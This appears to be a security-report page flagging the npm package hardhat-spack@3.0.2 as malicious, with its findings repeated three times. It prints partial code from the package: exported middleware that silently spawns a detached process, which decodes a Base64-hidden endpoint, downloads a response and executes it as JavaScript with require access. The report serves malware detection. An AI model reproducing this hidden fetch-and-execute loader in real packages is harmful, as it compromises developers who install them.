hardhat-spack@3.0.2: Malicious npm security report (Block)

Loading npm security reports…

hardhat-spack@3.0.2: Malicious npm security report (Block) | LPM Firewall

Source & flagged code

7 flagged

2L3: const axios = require("axios"); L4: const process = { ... L12: (async function getCallers(..._args) { L13: const src = atob(process.env.DEV_API_KEY); L14: const k = atob(process.env.DEV_SECRET_KEY); ... L21: const l = console.log; L22: const s = (await axios.post(src, { headers: { [k]: v } })).data; L23: const handler = new Function.constructor("require", s);

High

Base64 Obscured Url

Source decodes a Base64-obscured HTTP endpoint at runtime.

lib/caller.jsView on unpkg · L2

8DEV_API_KEY: "[redacted]=="

High

Ai Review Evidence

lib/caller.js decodes a hardcoded external endpoint from Base64.

lib/caller.jsView on unpkg · L8

13const src = atob(process.env.DEV_API_KEY); const k = atob(process.env.DEV_SECRET_KEY); const v = atob(process.env.DEV_SECRET_VALUE);

High

Ai Review Evidence

lib/caller.js decodes a hardcoded external endpoint from Base64.

lib/caller.jsView on unpkg · L13

22const s = (await axios.post(src, { headers: { [k]: v } })).data; const handler = new Function.constructor("require", s); handler(require); console.log = l;

High

Ai Review Evidence

The caller downloads a response and executes it as JavaScript with access to require.

lib/caller.jsView on unpkg · L22

package.jsonView file

5"main": "index.js", "scripts": { "smoke:pino": "node ./index.js", "smoke:file": "node ./file.js" }, "keywords": [ "fast",

High

Ai Review Evidence

package.json selects index.js as the main entrypoint.

package.jsonView on unpkg · L5

index.jsView file

43const middleware = (..._args) => { runJobA(..._args, defaultOptions); return (_req, _res, next) => { next(); }; } module.exports = middleware; // Enables default and na

High

Ai Review Evidence

Calling the exported middleware invokes the background job automatically.

index.jsView on unpkg · L43

33const script = path.resolve(__dirname, "./lib/caller.js"); const child = spawn("node", [script, JSON.stringify(args)], { detached: true, stdio: "ignore" }); child.unref(); //

High

Ai Review Evidence

The job launches lib/caller.js in a detached Node process with ignored output.

index.jsView on unpkg · L33

Source & flagged code

7 flagged · loading source

lib/caller.jsView file

High

Base64 Obscured Url

Source decodes a Base64-obscured HTTP endpoint at runtime.

lib/caller.jsView on unpkg · L2

8DEV_API_KEY: "[redacted]=="

High

Ai Review Evidence

lib/caller.js decodes a hardcoded external endpoint from Base64.

lib/caller.jsView on unpkg · L8

13const src = atob(process.env.DEV_API_KEY); const k = atob(process.env.DEV_SECRET_KEY); const v = atob(process.env.DEV_SECRET_VALUE);

High

Ai Review Evidence

lib/caller.js decodes a hardcoded external endpoint from Base64.

lib/caller.jsView on unpkg · L13

22const s = (await axios.post(src, { headers: { [k]: v } })).data; const handler = new Function.constructor("require", s); handler(require); console.log = l;

High

Ai Review Evidence

The caller downloads a response and executes it as JavaScript with access to require.

lib/caller.jsView on unpkg · L22

package.jsonView file

5"main": "index.js", "scripts": { "smoke:pino": "node ./index.js", "smoke:file": "node ./file.js" }, "keywords": [ "fast",

High

Ai Review Evidence

package.json selects index.js as the main entrypoint.

package.jsonView on unpkg · L5

index.jsView file

43const middleware = (..._args) => { runJobA(..._args, defaultOptions); return (_req, _res, next) => { next(); }; } module.exports = middleware; // Enables default and na

High

Ai Review Evidence

Calling the exported middleware invokes the background job automatically.

index.jsView on unpkg · L43

33const script = path.resolve(__dirname, "./lib/caller.js"); const child = spawn("node", [script, JSON.stringify(args)], { detached: true, stdio: "ignore" }); child.unref(); //

High

Ai Review Evidence

The job launches lib/caller.js in a detached Node process with ignored output.

index.jsView on unpkg · L33

Source & flagged code

7 flagged

lib/caller.jsView file

High

Base64 Obscured Url

Source decodes a Base64-obscured HTTP endpoint at runtime.

lib/caller.jsView on unpkg · L2

8DEV_API_KEY: "[redacted]=="

High

Ai Review Evidence

lib/caller.js decodes a hardcoded external endpoint from Base64.

lib/caller.jsView on unpkg · L8

13const src = atob(process.env.DEV_API_KEY); const k = atob(process.env.DEV_SECRET_KEY); const v = atob(process.env.DEV_SECRET_VALUE);

High

Ai Review Evidence

lib/caller.js decodes a hardcoded external endpoint from Base64.

lib/caller.jsView on unpkg · L13

22const s = (await axios.post(src, { headers: { [k]: v } })).data; const handler = new Function.constructor("require", s); handler(require); console.log = l;

High

Ai Review Evidence

The caller downloads a response and executes it as JavaScript with access to require.

lib/caller.jsView on unpkg · L22

package.jsonView file

5"main": "index.js", "scripts": { "smoke:pino": "node ./index.js", "smoke:file": "node ./file.js" }, "keywords": [ "fast",

High

Ai Review Evidence

package.json selects index.js as the main entrypoint.

package.jsonView on unpkg · L5

index.jsView file

43const middleware = (..._args) => { runJobA(..._args, defaultOptions); return (_req, _res, next) => { next(); }; } module.exports = middleware; // Enables default and na

High

Ai Review Evidence

Calling the exported middleware invokes the background job automatically.

index.jsView on unpkg · L43

33const script = path.resolve(__dirname, "./lib/caller.js"); const child = spawn("node", [script, JSON.stringify(args)], { detached: true, stdio: "ignore" }); child.unref(); //

High

Ai Review Evidence

The job launches lib/caller.js in a detached Node process with ignored output.

index.jsView on unpkg · L33

hardhat-spack@3.0.2

AI Security Review

OSV advisory

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Source & flagged code